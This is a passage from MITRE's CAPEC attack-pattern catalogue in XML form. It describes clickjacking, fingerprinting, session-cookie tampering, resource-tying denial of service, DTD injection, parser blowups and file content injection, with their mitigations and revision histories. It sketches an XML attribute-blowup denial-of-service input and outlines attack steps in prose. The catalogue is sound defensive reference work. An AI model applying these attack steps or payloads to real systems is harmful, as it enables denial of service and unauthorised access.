the UI which contain the hidden action controls and thereby interacts with the target system maliciously with the victim's level of privilege.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hide action controls over very commonly used functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hide action controls over very psychologically tempting content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim is communicating with the target application via a web based UI and not a thick client. The victim's browser security policies allow iFrames. The victim uses a modern browser that supports UI elements like clickable buttons (i.e. not using an old text only browser). The victim has an active session with the target system. The target system's interaction window is open in the victim's browser and supports the ability for initiating sensitive actions on behalf of the user in the target system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill11999 + Skill_11999 + + + + + + + + + + + + + + Crafting the proper malicious site and luring the victim to this site is not a trivial task. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence12005 + Consequence_12005 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12009 + Consequence_12009 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12013 + Consequence_12013 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence12018 + Consequence_12018 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence12025 + Consequence_12025 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable iFrames in the Web browser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Operation: When maintaining an authenticated session with a privileged target system, do not use the same browser to navigate to unfamiliar sites to perform other activities. Finish working with the target system and logout first before proceeding to other tasks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Operation: If using the Firefox browser, use the NoScript plug-in that will help forbid iFrames.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The following example is a real-world iFrame overlay attack [2]. In this attack, the malicious page embeds Twitter.com on a transparent IFRAME. The status-message field is initialized with the URL of the malicious page itself. To provoke the click, which is necessary to publish the entry, the malicious page displays a button labeled "Don't Click." This button is aligned with the invisible "Update" button of Twitter. Once the user performs the click, the status message (i.e., a link to the malicious page itself) is posted to their Twitter profile.</xhtml:div> + + + + + 1021 + + + + + + + + + + + + #indReferenceReference12043 + Reference_12043 + + + + + + + + + REF-84 + + + + + + + + + + + + #indReferenceReference12044 + Reference_12044 + + + + + + + + + REF-85 + + + + + + + + + + + + #indContentHistoryContentHistory12046 + Content_History_12046 + + + + + + + + + + + + + + + + #indSubmissionSubmission12047 + Submission_12047 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12052 + Modification_12052 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification12058 + Modification_12058 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification12064 + Modification_12064 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification12070 + Modification_12070 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification12076 + Modification_12076 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #indModificationModification12082 + Modification_12082 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Execution_Flow, Extended_Description + + + + + + + + + + + + #CAPEC-224 + Fingerprinting + + + + + + + + + 224 + + + + + Fingerprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A means by which to interact with the target system directly.</xhtml:div> + + + + + + + + + + + + #indSkillSkill12098 + Skill_12098 + + + + + + + + + + + + + + Some fingerprinting activity requires very specific knowledge of how different operating systems respond to various TCP/IP requests. Application fingerprinting can be as easy as envoking the application with the correct command line argument, or mouse clicking in the appropriate place on the screen. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If on a network, the adversary needs a tool capable of viewing network communications at the packet level and with header information, like Mitmproxy, Wireshark, or Fiddler.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence12104 + Consequence_12104 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">While some information is shared by systems automatically based on standards and protocols, remove potentially sensitive information that is not necessary for the application's functionality as much as possible.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingFingerprinting + Fingerprinting + + + + + + + + + + + + + + 45 + + + + + Fingerprinting + + + + + + + + + + + + #indContentHistoryContentHistory12121 + Content_History_12121 + + + + + + + + + + + + + + + + #indSubmissionSubmission12122 + Submission_12122 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12127 + Modification_12127 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification12133 + Modification_12133 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification12139 + Modification_12139 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification12145 + Modification_12145 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-226 + Session Credential Falsification through Manipulation + + + + + + + + + 226 + + + + + Session Credential Falsification through Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker manipulates an existing credential in order to gain access to a target application. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. An attacker may be able to manipulate a credential sniffed from an existing connection in order to gain access to a target server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, a credential in the form of a web cookie might have a field that indicates the access rights of a user. By manually tweaking this cookie, a user might be able to increase their access rights to the server. Alternately an attacker may be able to manipulate an existing credential to appear as a different user. This attack differs from falsification through prediction in that the user bases their modified credentials off existing credentials instead of using patterns detected in prior credentials to create a new credential that is accepted because it fits the pattern. As a result, an attacker may be able to impersonate other users or elevate their permissions to a targeted service.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12162 + Related_Attack_Pattern_12162 + + + + + + + + + + + + + + 196 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must use session credentials to identify legitimate users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker will need tools to sniff existing credentials (possibly their own) in order to retrieve a base credential for modification. They will need to understand how the components of the credential affect server behavior and how to manipulate this behavior by changing the credential. Finally, they will need tools to allow them to craft and transmit a modified credential.</xhtml:div> + + + + + 565 + + + + + 472 + + + + + + + + + + + + #indContentHistoryContentHistory12174 + Content_History_12174 + + + + + + + + + + + + + + + + #indSubmissionSubmission12175 + Submission_12175 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12180 + Modification_12180 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification12186 + Modification_12186 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-227 + Sustained Client Engagement + + + + + + + + + 227 + + + + + Sustained Client Engagement + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The degree to which the attack is successful depends upon the adversary's ability to sustain resource requests over time with a volume that exceeds the normal usage by legitimate users, as well as other mitigating circumstances such as the target's ability to shift load or acquire additional resources to deal with the depletion. This attack differs from a flooding attack as it is not entirely dependent upon large volumes of requests, and it differs from resource leak exposures which tend to exploit the surrounding environment needed for the resource to function. The key factor in a sustainment attack are the repeated requests that take longer to process than usual.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern of attack requires a temporal aspect to the servicing of a given request. Success can be achieved if the adversary can make requests that collectively take more time to complete than legitimate user requests within the same time frame.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To successfully execute this pattern of attack, a script or program is often required that is capable of continually engaging the target and maintaining sustained usage of a specific resource. Depending on the configuration of the target, it may or may not be necessary to involve a network or cluster of objects all capable of making parallel requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Potential mitigations include requiring a unique login for each resource request, constraining local unprivileged access by disallowing simultaneous engagements of the resource, or limiting access to the resource to one access per IP address. In such scenarios, the adversary would have to increase engagements either by launching multiple sessions manually or programmatically to counter such defenses.</xhtml:div> + + + + + 400 + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfService + Endpoint Denial of Service + + + + + + + + + + + + + + 1499 + + + + + Endpoint Denial of Service + + + + + + + + + + + + #indTaxonomyMappingDenialOfService + Denial of Service + + + + + + + + + + + + + + 10 + + + + + Denial of Service + + + + + + + + + + + + #indContentHistoryContentHistory12221 + Content_History_12221 + + + + + + + + + + + + + + + + #indSubmissionSubmission12222 + Submission_12222 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12227 + Modification_12227 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification12233 + Modification_12233 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification12239 + Modification_12239 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification12245 + Modification_12245 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification12251 + Modification_12251 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-228 + DTD Injection + + + + + + + + + 228 + + + + + DTD Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker injects malicious content into an application's DTD in an attempt to produce a negative technical impact. DTDs are used to describe how XML documents are processed. Certain malformed DTDs (for example, those with excessive entity expansion as described in CAPEC 197) can cause the XML parsers that process the DTDs to consume excessive resources resulting in resource depletion.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12263 + Related_Attack_Pattern_12263 + + + + + + + + + + + + + + 250 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12264 + Related_Attack_Pattern_12264 + + + + + + + + + + + + + + 197 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12265 + Related_Attack_Pattern_12265 + + + + + + + + + + + + + + 491 + + + + + + + + + + + + #indAttackStepAttackStep12268 + Attack_Step_12268 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the target] Using a browser or an automated tool, an attacker records all instances of web services to process XML requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of URLs to process XML requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the application processes XML requests.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12275 + Attack_Step_12275 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine use of XML with DTDs] Examine application input to identify XML input that leverage the use of one or more DTDs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Examine any available documentation for the application that discusses expected XML input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Exercise the application using XML input with and without a DTD specified. Failure without DTD likely indicates use of DTD.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12282 + Attack_Step_12282 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft and inject XML containg malicious DTD payload]</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject XML expansion attack that creates a Denial of Service impact on the targeted server using its DTD.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject XML External Entity (XEE) attack that can cause the disclosure of confidential information, execute abitrary code, create a Denial of Service of the targeted server, or several other malicious impacts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must be running an XML based application that leverages DTDs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Sanitize incoming DTDs to prevent excessive expansion or other actions that could result in impacts like resource depletion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Disallow the inclusion of DTDs as part of incoming messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use XML parsing tools that protect against DTD attacks.</xhtml:div> + + + + + 829 + + + + + + + + + + + + #indReferenceReference12302 + Reference_12302 + + + + + + + + + REF-86 + + + + + + + + + + + + #indContentHistoryContentHistory12304 + Content_History_12304 + + + + + + + + + + + + + + + + #indSubmissionSubmission12305 + Submission_12305 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12310 + Modification_12310 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Description, Description Summary, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification12316 + Modification_12316 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification12322 + Modification_12322 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification12328 + Modification_12328 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-229 + Serialized Data Parameter Blowup + + + + + + + + + 229 + + + + + Serialized Data Parameter Blowup + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12342 + Related_Attack_Pattern_12342 + + + + + + + + + + + + + + 231 + + + + + + + + + + + + #indAttackStepAttackStep12345 + Attack_Step_12345 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the target] Using a browser or an automated tool, an attacker records all instances of web services to process requests using serialized data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of URLs to process requests from serialized data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the application processes requests using serialized data.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep12352 + Attack_Step_12352 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Launch a Blowup attack] The attacker crafts malicious messages that contain multiple configuration parameters in the same dataset.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send the malicious crafted message containing the multiple configuration parameters to the target URL, causing a denial of service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The server accepts input in the form of serialized data and is using a parser with a runtime longer than O(n) for the insertion of a new configuration parameter in the data container.(examples are .NET framework 1.0 and 1.1)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack may be mitigated completely by using a parser that is not using a vulnerable container.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Mitigation may limit the number of configuration parameters per dataset.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this example, assume that the victim is running a vulnerable parser such as .NET framework 1.0. This results in a quadratic runtime of O(n^2).&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;foo&lt;xhtml:br&gt;&lt;/xhtml:br&gt;aaa=""&lt;xhtml:br&gt;&lt;/xhtml:br&gt;ZZZ=""&lt;xhtml:br&gt;&lt;/xhtml:br&gt;...&lt;xhtml:br&gt;&lt;/xhtml:br&gt;999=""&lt;xhtml:br&gt;&lt;/xhtml:br&gt;/&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A document with n attributes results in (n^2)/2 operations to be performed. If an operation takes 100 nanoseconds then a document with 100,000 operations would take 500s to process. In this fashion a small message of less than 1MB causes a denial of service condition on the CPU resources.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A YAML bomb leverages references within a YAML file to create exponential growth in memory requirements. By creating a chain of keys whose values are a list of multiple references to the next key in the chain, the amount of memory and processing required to handle the data grows exponentially. This may lead to denial of service or instability resulting from excessive resource consumption.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 770 + + + + + + + + + + + + #indTaxonomyMappingXMLAttributeBlowup + XML Attribute Blowup + + + + + + + + + + + + + + 41 + + + + + XML Attribute Blowup + + + + + + + + + + + + #indContentHistoryContentHistory12385 + Content_History_12385 + + + + + + + + + + + + + + + + #indSubmissionSubmission12386 + Submission_12386 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12391 + Modification_12391 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Activation_Zone, Attack_Phases, Description, Description Summary, Examples-Instances, Injection_Vector, Methods_of_Attack, Payload, Related_Attack_Patterns, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification12397 + Modification_12397 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Description, Example_Instances, Execution_Flow, Mitigations, Prerequisites + + + + + + + + + + + + #indModificationModification12403 + Modification_12403 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification12409 + Modification_12409 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName12415 + Previous_Entry_Name_12415 + + + + + + + + + 2020-07-30 + + + + + XML Attribute Blowup + + + + + + + + + + + + #CAPEC-23 + File Content Injection + + + + + + + + + 23 + + + + + File Content Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary poisons files with a malicious payload (targeting the file systems accessible by the target software), which may be passed through by standard channels such as via email, and standard web content like PDF and multimedia files. The adversary exploits known vulnerabilities or handling routines in the target processes, in order to exploit the host's trust in executing remote content, including binary files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the adversary knows the standard handling routines and can identify vulnerabilities and entry points, they can be exploited by otherwise seemingly normal content. Once the attack is executed, the adversary's program can access relative directories such as C:\\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12426 + Related_Attack_Pattern_12426 + + + + + + + + + + + + + + 242 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern12427 + Related_Attack_Pattern_12427 + + + + + + + + + + + + + + 165 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target software must consume files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have access to modify files that the target software will consume.</xhtml:div> + + + + + + + + + + + + #indSkillSkill12434 + Skill_12434 + + + + + + + + + + + + + + How to poison a file with malicious payload that will exploit a vulnerability when the file is opened. The adversary must also know how to place the file onto a system where it will be opened by an unsuspecting party, or force the file to be opened. + + + + + + + + + + + + #indConsequenceConsequence12437 + Consequence_12437 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Validate all input for content including files. Ensure that if files and remote content must be accepted that once accepted, they are placed in a sandbox type location so that lower assurance clients cannot write up to higher assurance processes (like Web server processes for example)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Virus scanning on host</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;PHP is a very popular language used for developing web applications. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the adversary can directly access and execute them through a browser. This vulnerability allows remote adversaries to execute arbitrary code on the system, and can result in the adversary being able to erase intrusion evidence from system and application logs.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 20 + + + + + + + + + + + + #indReferenceReference12462 + Reference_12462 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory12464 + Content_History_12464 + + + + + + + + + + + + + + + + #indSubmissionSubmission12465 + Submission_12465 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification12470 + Modification_12470 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification12476 + Modification_12476 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Description Summary, Examples-Instances, Payload_Activation_Impact + + + + + + + + + + + + #indModificationModification12482 + Modification_12482 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification12488 + Modification_12488 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification12494 + Modification_12494 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification12500 + Modification_12500 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Example_Instances, References + + + + + + + + + + + + #indModificationModification12506 + Modification_12506 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName12512 + Previous_Entry_Name_12512 + + + + + + + + + 2015-12-07 + + + + + File System Function Injection, Content Based + + + + + + + + + + + + #CAPEC-230 + Serialized Data with Nested Payloads + + + + + + + + + 230 + + + + + Serialized Data with Nested Payloads + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" 